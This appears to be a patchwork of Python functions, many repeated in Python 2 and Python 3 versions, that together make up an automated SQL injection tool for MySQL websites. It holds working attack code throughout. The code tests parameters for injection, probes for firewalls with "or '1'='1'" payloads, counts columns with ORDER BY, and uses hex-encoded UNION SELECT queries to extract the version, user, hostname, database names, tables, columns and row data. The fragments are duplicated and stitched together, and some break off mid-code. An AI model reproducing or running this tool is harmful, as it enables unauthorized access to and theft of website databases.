def vuln(site): vuln_move = 0 has_firewall(site) if '=' in site: flag = '' flag = find_vulnerable_param(site) if flag != '': the_page = get_the_page(site, "1") for index in errors: if index in the_page: print("The site is SQLi Vulnerable") vuln_move = 1 break if not vuln_move: print("Is this the vulnerable parameter %s?(y/n)" % flag) ans = input() while ans != 'y' and ans != 'Y' and ans != 'n' and ans != 'N': print( "WRONG INPUT! \nIs this the vulnerable parameter %s?(y/n)" % flag) ans = input() if ans == 'Y' or ans == 'y': print('This parameter is not vulnerable') print('Program will exit') exit() if ans == 'N' or ans == 'n': print("Give me the vulnerable parameter: ") parameter = input() site.replace(parameter, parameter + "'") the_page = get_the_page(site, "1") for index in errors: if index in the_page: print("The site is SQLi Vulnerable") vuln_move = 1 break if not vuln_move: print('This parameter is not vulnerable') print('Program will exit') exit() else: return flag else: print("Are you sure that you gave the correct url?(y/n)") ans = input() while ans != 'y' and ans != 'Y' and ans != 'n' and ans != 'N': print( "WRONG INPUT! \nAre you sure that you gave the correct url?(y/n)" ) ans = input() if ans == 'y' or ans == 'Y': print("This is not a vulnerable url") print("Program will exit") exit() else: return "1"
def vuln(site): vuln_move = 0 has_firewall(site) if '=' in site: flag='' flag=find_vulnerable_param(site) if flag!='': the_page=get_the_page(site,"1") index=0 length=len(errors) while index<length and vuln_move==0: if errors[index] in the_page: print "The site is Sqli Vulnerable" vuln_move=1 else: index=index+1 if vuln_move==0: print "Is this the vulnerable parameter %s?(y/n)" %flag ans=raw_input() while ans!='y' and ans!='Y' and ans!='n' and ans!='N': print "WRONG INPUT! \nIs this the vulnerable parameter %s?(y/n)" %flag ans=raw_input() if ans=='Y' or ans=='y': print 'This parameter is not vulnerable' print 'Program will exit' exit() if ans=='N' or ans=='n': print "Give me the vulnerable parameter: " parameter=raw_input() site.replace(parameter,parameter+"'") the_page=get_the_page(site,"1") index=0 while index<length and vuln_move==0: if errors[index] in the_page: print "The site is Sqli Vulnerable" print "The error is: %s" %errors[index] vuln_move=1 else: index+=1 if vuln_move==0: print 'This parameter is not vulnerable' print 'Program will exit' exit() else: return(flag) else: print "Are you sure that you gave the correct url?(y/n)" ans=raw_input() while ans!='y' and ans!='Y' and ans!='n' and ans!='N': print "WRONG INPUT! \nAre you sure that you gave the correct url?(y/n)" ans=raw_input() if ans=='y' or ans=='Y': print "This is not a vulnerable url" print "Program will exit" exit() else: return ("1")
def loc_db_files(site): site = site.replace("@@datadir","unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))") site = site.replace("--","+from+information_schema.schemata--") the_page = get_the_page(site,"2") directory = s_data.search_for(the_page) print directory return(directory)
def version(site): the_page = get_the_page(site,"1") versions = ["5.5.46","5.0.96",'5.5.40','5.1.60','5.5.33','5.0.83','5.2.12','5.1.72',"5.5.30","5.1.41","5.1.61","5.0.96","5.1.66","5.1.56","5.1.73","5.5.38","5.1.72","5.5.36","5.5.37","5.1.57"] flag = 1 print site flag1 = 1 index = 0 while index<len(versions): if versions[index] in the_page: print "SQL Version: %s" %versions[index] index=len(versions)+1 flag1 = 0 flag = 0 else: index = index+1 if flag==1: for i in range (0,10): if "5.%d" %i in the_page: print "SQL Version: 5.%d" %i flag1 = 0 break if flag1==1: print site print "Could not get the DB version." print "Program will exit" exit()
def names(site): site = site.replace("@@version","unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))") site = site.replace("--","+from+information_schema.schemata--") the_page = get_the_page(site,"2") db_names = s_data.search_for(the_page) print_cols_tables(db_names,'Databases') return(db_names)
def version(site): the_page = get_the_page(site, "1") versions = [ "5.5.46", "5.0.96", '5.5.40', '5.1.60', '5.5.33', '5.0.83', '5.2.12', '5.1.72', "5.5.30", "5.1.41", "5.1.61", "5.0.96", "5.1.66", "5.1.56", "5.1.73", "5.5.38", "5.1.72", "5.5.36", "5.5.37", "5.1.57", "5.5.35", "10.1.30" ] flag = 1 flag1 = 1 index = 0 for index in versions: if index in the_page: return index if flag: for i in range(0, 10): if "5.%d." % i in the_page: return "5.%d" % i if flag1: print("Could not get the DB version.") print("Maybe MySQL version<5 so we can` go further more") print("Program will exit") exit()
def find_error(site): the_page = get_the_page(site, "1") for index in errors: if index in the_page: return index return ''
def f_vuln_col(site,columns): vuln_column=1 flag=1 the_page = get_the_page(site,"1") while flag==1: if (">"+str(vuln_column)+"</") in the_page: flag=0 elif (str(vuln_column)+"</") in the_page: flag=0 elif (">"+str(vuln_column)) in the_page: flag=0 elif (str(vuln_column)+"<") in the_page: flag=0 else: vuln_column=vuln_column+1 if vuln_column>columns+1: flag=2 print vuln_column print site if flag==2: for i in range (1,columns+1): if str(i) in the_page: flag=0 vuln_column=i return(vuln_column)
def host_name(site): site = site.replace("@@hostname","unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))") site = site.replace("--","+from+information_schema.schemata--") the_page = get_the_page(site,"2") host_name = s_data.search_for(the_page) print host_name return(host_name)
def working_db(site): site = site.replace( "@@version", "unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,database(),0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))" ) the_page = get_the_page(site, "2") db = s_data.search_for(the_page) return db[0]
def user(site): site = site.replace( "@@version", "unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,user(),0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))" ) the_page = get_the_page(site, "2") user = s_data.search_for(the_page) return user[0]
def has_firewall(site): site=site.replace("'",'') site=site+"or '1'='1' -- " the_page=get_the_page(site,"1") if ('Not Acceptable!' in the_page) or ('forbiden' in the_page): print "Firewall detected" print "Bypassing firewalls under construction" else: print "No Firewall detected!"
def has_firewall(site): site = site.replace("'", "") site = site + "/**/or/**/'1'='1'--" the_page = get_the_page(site, "1") if ('Not Acceptable!' in the_page) or ('forbiden' in the_page): print("Firewall detected") print("Bypassing firewalls under construction") else: print("No Firewall detected!")
def has_firewall(site): site = site.replace("'", '') site = site + "or '1'='1' -- " the_page = get_the_page(site, "1") if ('Not Acceptable!' in the_page) or ('forbiden' in the_page): print "Firewall detected" print "Bypassing firewalls under construction" else: print "No Firewall detected!"
def names(site): site = site.replace( "@@version", "unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))" ) site = site.replace("--", "+from+information_schema.schemata--") the_page = get_the_page(site, "2") db_names = s_data.search_for(the_page) return (db_names)
def loc_db_files(site): site = site.replace( "@@datadir", "unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))" ) site = site.replace("--", "+from+information_schema.schemata--") the_page = get_the_page(site, "2") directory = s_data.search_for(the_page) print directory return (directory)
def host_name(site): site = site.replace( "@@hostname", "unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))" ) site = site.replace("--", "+from+information_schema.schemata--") the_page = get_the_page(site, "2") host_name = s_data.search_for(the_page) print host_name return (host_name)
def search_in_columns(site, table, based): site = site + table + "--" + based the_page = get_the_page(site, "2") columns_found = s_data.search_for(the_page) total_cols = len(columns_found) if total_cols: print_data(columns_found, ['Columns Found']) back_table = table table = table.encode() table = binascii.unhexlify(table) table = table.decode() site = site.replace( "+FROM+information_schema.columns+WHERE+table_name=0x" + back_table + "--", "+AS/**/details/**/FROM/**/" + table + "--") columns = input("Give the columns: ") selected_columns = [] for column in columns_found: if column in columns: selected_columns.append(column) site = site.replace("column_name", "%s,/**/" % selected_columns[0]) for i in range(1, len(selected_columns)): site = site.replace( ",/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,", ",0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,%s,/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e," % selected_columns[i]) site = site.replace(",/**/", '') site = site.replace(",0x3e0x0a", ",0x3e,0x0a") the_page = get_the_page(site, "2") total_data = [] total_data = s_data.search_for(the_page) if not len(total_data): print("No data found!") else: print_data(total_data, selected_columns)
def working_db(site): site = site.replace("@@version","unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,database(),0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))") the_page = get_the_page(site,"2") db = s_data.search_for(the_page) print "You are on: %s database" %db[0] ans = raw_input("Do you want to change the database?(y/n): ") while ans!='Y' and ans!='y' and ans!='n' and ans!='N': ans = raw_input("Do you want to change the database?(y/n): ") if ans=='n' or ans=='N': return(db[0]) else: return('1')
def search_in_columns(site, table, based, database): site = site + table + "--" + based the_page = get_the_page(site, "2") columns_found = s_data.search_for(the_page) total_cols = len(columns_found) if total_cols: print_cols_tables(columns_found, 'Columns Found') table = table.decode("hex") site = site.replace( "information_schema.columns+WHERE+table_name=0x" + table.encode("hex") + "--", database + '.' + table + "--") columns = raw_input("Give the columns: ") selected_columns = [] for column in columns_found: if column in columns: selected_columns.append(column) site = site.replace("column_name", "%s,/**/" % selected_columns[0]) for i in range(1, len(selected_columns)): site = site.replace( ",/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,", ",0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,%s,/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e," % selected_columns[i]) site = site.replace(",/**/", '') site = site.replace(",0x3e0x0a", ",0x3e,0x0a") the_page = get_the_page(site, "2") total_data = [] total_data = s_data.search_for(the_page) if not len(total_data): print "No data found!" else: print_data(total_data, selected_columns, table)
def ft_cols(site): based,f_error = based_on(site) site1=site if based=='': site1=site.replace("'","") site1=site1+"+order+by+" col_back = 40 col_front = 1 check_col=20 a=2 while a>1: a=col_back-col_front site=site1+"%d--" %check_col + based the_page=get_the_page(site,"1") if f_error in the_page: col_back=check_col else: col_front=check_col check_col=(col_front+col_back)/2 print "Selected Column Count is %d." %col_front return (col_front,based)
def ft_cols(site): based, f_error = based_on(site) site1 = site if based == '': site1 = site.replace("'", "") site1 = site1 + "+order+by+" col_back = 40 col_front = 1 check_col = 20 a = 2 while a > 1: a = col_back - col_front site = site1 + "%d--" % check_col + based the_page = get_the_page(site, "1") if f_error in the_page: col_back = check_col else: col_front = check_col check_col = (col_front + col_back) / 2 print("Selected Column Count is %d." % col_front) return int(col_front), based
def f_vuln_col(site, columns): # <--- Edw kai katw ftia3imo vuln_column = 1 flag = 1 the_page = get_the_page(site, "1") while flag: checking_column = str(vuln_column) if (">" + checking_column + "</") in the_page: flag = 0 elif (checking_column + "</") in the_page: flag = 0 elif (">" + checking_column) in the_page: flag = 0 elif (checking_column + "<") in the_page: flag = 0 else: vuln_column = vuln_column + 1 if vuln_column > (columns + 1): flag = 2 if flag == 2: for i in range(1, columns + 1): if str(i) in the_page: vuln_column = i break return (vuln_column)
vuln_column=str(f_vuln_col(site,columns)) site=replaces.repl(site,1,vuln_column) dbs.version(site) dbs.user(site) dbs_names=dbs.names(site) ans=dbs.working_db(site) if ans=='1': ans=raw_input("On which Database you want to work on?: ") while ans not in dbs_names: ans=raw_input("Wrong Input!\nOn which Database you want to work on?: ") site=replaces.repl(site,2,ans) the_page=get_the_page(site,"2") tables=s_data.search_for(the_page) if len(tables)==0: print "Could not get the tables, program will exit." exit() print_cols_tables(tables,'Tables Found') site=replaces.repl(site,3,ans) site=site.replace(based,'') flag = 1 site1 = site while flag==1: print "Give the table: " table_choose=raw_input(">>> ") while not(table_choose in tables):
def vuln(site): vuln_move = 0 if '=' in site: flag='' for index in range(len(params)): if params[index] in site: flag=params[index] if flag!='': site = site.replace(flag,flag+"'") the_page=get_the_page(site) index=0 length=len(errors) while index<length and vuln_move==0: if errors[index] in the_page: print "The site is Sqli Vulnerable" print "The error is: %s" %errors[index] print "="*80 vuln_move=1 else: index=index+1 if vuln_move==0: print "Is this the vulnerable parameter %s?(y/n)" %flag ans=raw_input() while ans!='y' and ans!='Y' and ans!='n' and ans!='N': print "WRONG INPUT! \nIs this the vulnerable parameter %s?(y/n)" %params[index] ans=raw_input() if ans=='Y' or ans=='y': print 'This parameter is not vulnerable' print 'Program will exit' return("-1") if ans=='N' or ans=='n': print "Give me the vulnerable parameter: " parameter=raw_input() site.replace(parameter,parameter+"'") the_page=get_the_page(site) index=0 while index<length and vuln_move==0: if errors[index] in the_page: print "The site is Sqli Vulnerable" print "The error is: %s" %errors[index] print "="*80 vuln_move=1 else: index+=1 if vuln_move==0: print 'This parameter is not vulnerable' print 'Program will exit' return("-1") else: return(flag) else: print "We could not get the vulnerable parameter" print "Do you know which one is?(y/n)" ans=raw_input() while ans!='y' and ans!='Y' and ans!='n' and ans!='N': print "WRONG INPUT! \nDo you know which one is?(y/n)" ans=raw_input() if ans=='n' or ans=='N': print "Sorry sql-injection failed" print "Program will exit" return("-1") else: print "Give the vulnerable parameter: " parameter=raw_input() is_alive=site_alive(site) site = site.replace(parameter+'=',parameter+'='+"'") if is_alive==1: the_page=get_the_page(site) index=0 length=len(errors) while index<length and vuln_move==0: if errors[index] in the_page: print "The site is Sqli Vulnerable" print "The error is: %s" %errors[index] print "="*80 vuln_move=1 else: index=index+1 if vuln_move==1: return (parameter) else: print "The parameter is not vulnerable" print "Program will exit" return ("-1") else: print "No response from the server" print "Program will exit" return ("-1") else: print "Are you sure that you gave the correct url?(y/n)" ans=raw_input() while ans!='y' and ans!='Y' and ans!='n' and ans!='N': print "WRONG INPUT! \nAre you sure that you gave the correct url?(y/n)" ans=raw_input() if ans=='y' or ans=='Y': print "This is not a vulnerable url" print "Program will exit" return ("-1") else: return ("1")
def user(site): site = site.replace("@@version","unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,user(),0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))") the_page = get_the_page(site,"2") user = s_data.search_for(the_page) print "Current user is: %s" %user[0]
def find_error(site): the_page=get_the_page(site,"1") for index in range (0,len(errors)): if errors[index] in the_page: return (errors[index]) return ('')
def union_normal(self): versions = ["5.1.41","5.1.61","5.0.96","5.1.66","5.1.56"] check = 3 flag='1' while flag=='1': a=1 site=raw_input("Give the url: ") site=site_alive(site) if site=="-1": print "No response from server" print "Program will exit" exit() flag=vuln(site) if flag=="-1": exit() site1=site site1=site1+"+OrDER+By+" columns=ft_cols(site,site1) if columns==-1: exit() site1=site1.replace("+OrDER+By+","") num_columns="1" for i in range (2,columns+1): if i==(columns+1): num_columns=num_columns+str(i) else: num_columns=num_columns+","+str(i) site=site1+"+UNION+SELECT+%s--" %num_columns site=site.replace("'","") site=site.replace(flag,flag+"-") vuln_column=1 flag=1 the_page = get_the_page(site) while flag==1: if (">"+str(vuln_column)+"<") in the_page: flag=0 else: vuln_column=vuln_column+1 if vuln_column>columns: flag=2 if flag==2: print "Den uparxoun vulnerable columns" print "Program will exit" exit() vuln_column=str(vuln_column) site=site.replace(",%s" %vuln_column,",@@version",1) the_page=get_the_page(site) flag=1 index=0 while index<len(versions): if versions[index] in the_page: print "SQL Version: %s" %versions[index] index=len(versions)+1 else: index=index+1 if flag==1: if ("5.0" in the_page) or ("5.1" in the_page): flag=0 if flag==1: print "Could not get the DB version." print "Program will exit" exit() site=site.replace("@@version","unhex(hex(group_concat(0x3a,0x3a,table_name,0x3a,0x3a,0x0a)))") site=site.replace("--","+FROM+information_schema.tables+WHERE+table_schema=database()--") the_page=get_the_page(site) tables=s_data.search_for(the_page) print "Tables found %d" %len(tables) print tables site=site.replace("table_name","column_name") site=site.replace("+FROM+information_schema.tables+WHERE+table_schema=database()--","+FROM+information_schema.columns+WHERE+table_name=0x") flag=1 site1=site while flag==1: print "Give the table: " table1=raw_input(">>>") while not(table1 in tables): print "Wrong input. Give the table: " table1=raw_input(">>>") table1=table1.encode("hex") site=site1+table1+"--" the_page=get_the_page(site) columns_found=s_data.search_for(the_page) if len(columns_found)==0: print "No columns found. Do you want to try an other table? (y/n)" ans=raw_input(">>>") while not(ans=='y' or ans=='n' or ans=='Y' or ans=='N'): print "No columns found. Do you want to try an other table? (y/n)" ans=raw_input(">>>") if ans=='N' or ans=='n': print 'Program will Exit' exit() else: flag=1 elif flag==1: print "Columns Found %d" %len(columns_found) print "="*80 print columns_found print "="*80 k=0 ks=[] table_choose=table1.decode("hex") site=site.replace("information_schema.columns+WHERE+table_name=0x"+table1+"--",table_choose+"--") tal_cols=len(columns_found) while tal_cols>0: col_choose=raw_input("Dose ena column (0 gia na mhn dwseis kanena allo): ") while not(col_choose in columns_found) and not(col_choose=='0'): col_choose=raw_input("Dose ena column (0 gia na mhn dwseis kanena allo): ") if col_choose=="0": tal_cols=0 site=site.replace(",/**/","") else: if tal_cols==len(columns_found): site=site.replace("column_name","%s,/**/" %col_choose) tal_cols=tal_cols-1 k=1 ks.append(col_choose) else: site=site.replace(",/**/",",0x3a,0x3a,%s,/**/"%col_choose) tal_cols=tal_cols-1 if tal_cols==0: site=site.replace(",/**/",'') ks.append(col_choose) k=k+1 the_page=get_the_page(site) length=len(the_page) if k%2==1: total_data=s_data.search_for(the_page) else: total_data=s_data.search_for_2(the_page,k) length=len(total_data) l=0 for i in range (0,length,k): j=0 while j<k: if j+1==k: print ks[j],":",total_data[l],"|" j=j+1 l=l+1 else: print ks[j],":",total_data[l],"|", j=j+1 l=l+1 ans=raw_input("8es na deis gia allo table? (y/n): ") while not (ans=='y' or ans=='Y' or ans=='n' or ans=='N'): ans=raw_input("8es na deis gia allo table? (y/n): ") if ans=='y' or ans=='Y': flag=1 else: flag=0